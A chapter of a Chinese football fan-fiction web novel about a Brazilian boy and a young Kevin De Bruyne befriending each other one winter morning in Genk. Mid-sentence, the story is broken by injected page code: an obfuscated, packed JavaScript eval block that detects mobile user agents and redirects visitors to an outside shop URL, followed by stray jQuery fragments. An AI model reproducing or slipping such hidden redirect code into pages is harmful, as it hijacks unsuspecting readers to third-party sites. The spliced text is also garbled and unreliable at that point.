文趣网 > 都市小说 > [足球]去您的比利时! > 2. 巴西人、比利时人、冬天
    阿德遇见过很多像是德布劳内一样的人,无论是在球场上还是球场下。

    毕竟你知道的,踢球厉害的人总免不了被关注,无论是出自于喜欢、愤恨又或者是别的什么情绪。

    而阿德对此一切情绪都适应良好,并相当享受。

    面对着巴西男孩的自信,德布劳内扭动着眉毛,不可置信:“在意你?”

    他想反驳阿德的话,说出些伤人的词汇好来触碰眼前这个巴西人略显膨胀的自信心,但是看着对方的脸又慢慢地把话收了回去。尽管那些话在外人眼里只是一些朴实直白且毫无攻击力的内容。

    阿德那样洋溢着光芒的笑容和露出的两排浅浅的白牙和比利时的冬天一点都不相配,加在一块更是显得突兀。

    但是就这是这样的他,又的确是人群中的焦点,任何人扫过一眼都不会忽视他。

    德布劳内站在原地,不禁开始反思起自己的话是否真的是这样。

    然而久久等不到回答且看了一场表情秀的阿德已经准备重新骑上脚踏车离开了。

    巴西男孩嫌弃比利时的冬天实在太冷,他始终无法适应欧洲的气候。

    拜托,他前不久可还是土生土长的巴西人!

    指望着巴西人扛冷,那倒不如让弗拉芒人和瓦隆人贴面热吻!

    阿德把自己被冻红的面孔重新藏进了妈妈编织的围巾里,再拉长袖口遮住手指,慢吞吞地踩下了脚踏板。

    “咔哒。”

    寒风里齿轮转动的声音很清脆,不大不小的声响让德布劳内回神。

    他瞧见眼前的阿德已经不见了,立刻转身寻找对方踪迹。

    德布劳内一开始有点失望,以为阿德走远了,但庆幸的是巴西人比他想象的还要不抗冻,在比利时的冬天里,他简直是不堪一击,甚至显出了一点脆弱。

    德布劳内加快了步子,毫不费劲地赶上了慢慢蹬着脚踏板在风里穿行的阿德。

    他不再继续之前的话,而是扯起了另一个由头。

    比利时男孩有些坏心眼地看着身体有点发颤的阿德:“你很冷吗?”

    按理说他们这群踢足球且正值青春期的小伙子们应该处在最不怕冷的年纪,但奈何身体里的巴西人基因压倒了一切道理,阿德怕冷的要命。

    阿德被冷风一吹,焉了一半,脸上的笑容没了,虎牙也被吝啬地收了回去,蜜色的面颊上泛着红,浓密且四仰八叉的眼睫毛对着寒气毫无还手之力,翘起的鼻尖也没了往日张牙舞爪的俏皮劲。

    前几分钟还颇有精神的阿德一下子萎靡了。

    阿德放低声音:“凯文,你在说什么废话,你看我这个样子,你觉得我冷吗?”

    他简直是在孩子气的抱怨,亲昵地喊起德布劳内的名字。

    德布劳内斜着眼睛打量阿德,毫不掩饰自己的偷偷坏心眼,尽管他们才是第一次说话:“或许吧,阿德,你也是个弗拉芒人,怎么可能怕冷?”

    他也不知道自己到底在想什么,但是说这种怪话,微妙地满足了某种青少年的恶趣味心理。

    两个人斗嘴的小孩不会对任何人造成伤害,除了对彼此。

    回答德布劳内的是来自阿德的一个毫不犹豫国际友好手势,以及一个毫不留情离去的背影。

    阿德骑得飞快,打定主意离德布劳内远一些,再赶快逃进温暖的教室里。

    德布劳内跑了几步,又放慢了步子,用着不大不小但恰好能让阿德听到的声音说:“阿德,你今早用石子踢到了我,还和我说了话。”

    阿德咬牙把脚踏车骑得更快,忍住一句家乡话,心里后悔怎么没多踢几脚石子,最好让说话不怎么好听的金发比利时小子吃个教训。

    他不想再理会德布劳内,想要飞快地骑远,但却又忍不住回头看了一眼。

    德布劳内在阿德离开后就低下头看着地,身后背着的运动双肩包慢慢的走着,看起来安静又内向,完全不像是刚刚说出那些俏皮话的样子。

    他有些倔强,抿着嘴巴,走路的时候也尽量保持着自己的步频一致,自己独处的时候好像在和什么东西赛跑。

    阿德莫名感受到了这个比利时男孩的孤单。

    这种孤单让他想到了自己,一个出走巴西的巴西人。

    于是阿德不再踩着踏板,而是慢慢地把车推到了比利时男孩的身边。

    比利时男孩从自己的世界里挣脱,看见阿德,动作缓缓地推了推自己的黑色镜框,嘴边咧开一个友好的笑容。

    德布劳内:“我还以为你会生气走掉。抱歉,我或许真的不太会说话。”

    阿德努了努嘴巴,大人有大量:“得了吧,我看你挺会说话的,只是说的不那么好听而已。”

    他和身边的德布劳内并肩而行:“……我只是觉得你看起来好像有点太安静了,一阵风刮来就能把你吹走。”

    阿德不会说好听的话,他说出的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17952457|214179||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    话完全没有逻辑,但却又很敏锐地会避开某个点。比如说此刻其实阿德想说德布劳内看起来很“孤独”,但是他心底认为这个和他第一次见面的男孩可能不会喜欢被这样评价,于是就换了个词。

    他说德布劳内看起来太安静了,和亨克冬天的冷风没什么区别。

    德布劳内撇了撇嘴,拍了拍自己的肚子和胳膊:“我没那么瘦弱。”

    尽管对于一个合格的足球运动员来说,他的身体或许还略显瘦弱,但是远比同龄的男孩要健壮许多。

    “是的,我看出来了,”阿德不想再继续这个话题,“你就当我随便找个理由吧,我不想一个人走,毕竟亨克太冷了。”

    德布劳内转头看了一眼身边的阿德,又深深地埋下了头:“……哦。”

    今天早上的说话次数已经超过他过去三天的说话次数。

    德布劳内觉得自己应该说些什么的,但还是紧紧闭上了嘴巴,又郁闷地把石子踢开了。

    是的,他应该说些什么的,至少不应该让阿德觉得无聊,让对方的好心落了个空。

    但实际上阿德并不在意这个,也不在意德布劳内莫名的冷淡。

    他只是默默地裹紧了围巾,然后出声问:“这样的话我们就算是认识了吗?”

    德布劳内有些紧张和拘束:“呃,或许,也能叫做朋友吧。”

    他不确定阿德想要什么答案。

    阿德不太高兴地歪了歪嘴巴:“嘿,明明我们还是同一个俱乐部的队友,明明队友比朋友更好!更牢固!”

    阿德喜欢周围的队友,他们一直在球场上看着他,为他欢呼,为他喝彩,为他落泪,将他簇拥着再奉上一切。

    德布劳内开始觉得阿德是个奇怪的人了,但是这并不影响他回答对方“是的”,然后不去提醒其实他们根本没在一起踢过几场。

    毕竟他在亨克本地的朋友很少,在某些方面也挺赞同阿德的话语。

    队友不可分割,但朋友之间可以分离。

    但无论怎样,阿德并没有否认他们成为了朋友的关系。

    巴西男孩在比利时交到了自己的第一个朋友。

    这滋味真不错。阿德慢慢地笑了。尽管这在他的意料之外。

    阿德和德布劳内就这样有一搭没一搭地说着话,气氛平静而安和,直到走进教室后才分别。

    没人发现了他们着短暂的并肩,他们看起来依旧是陌生人的关系。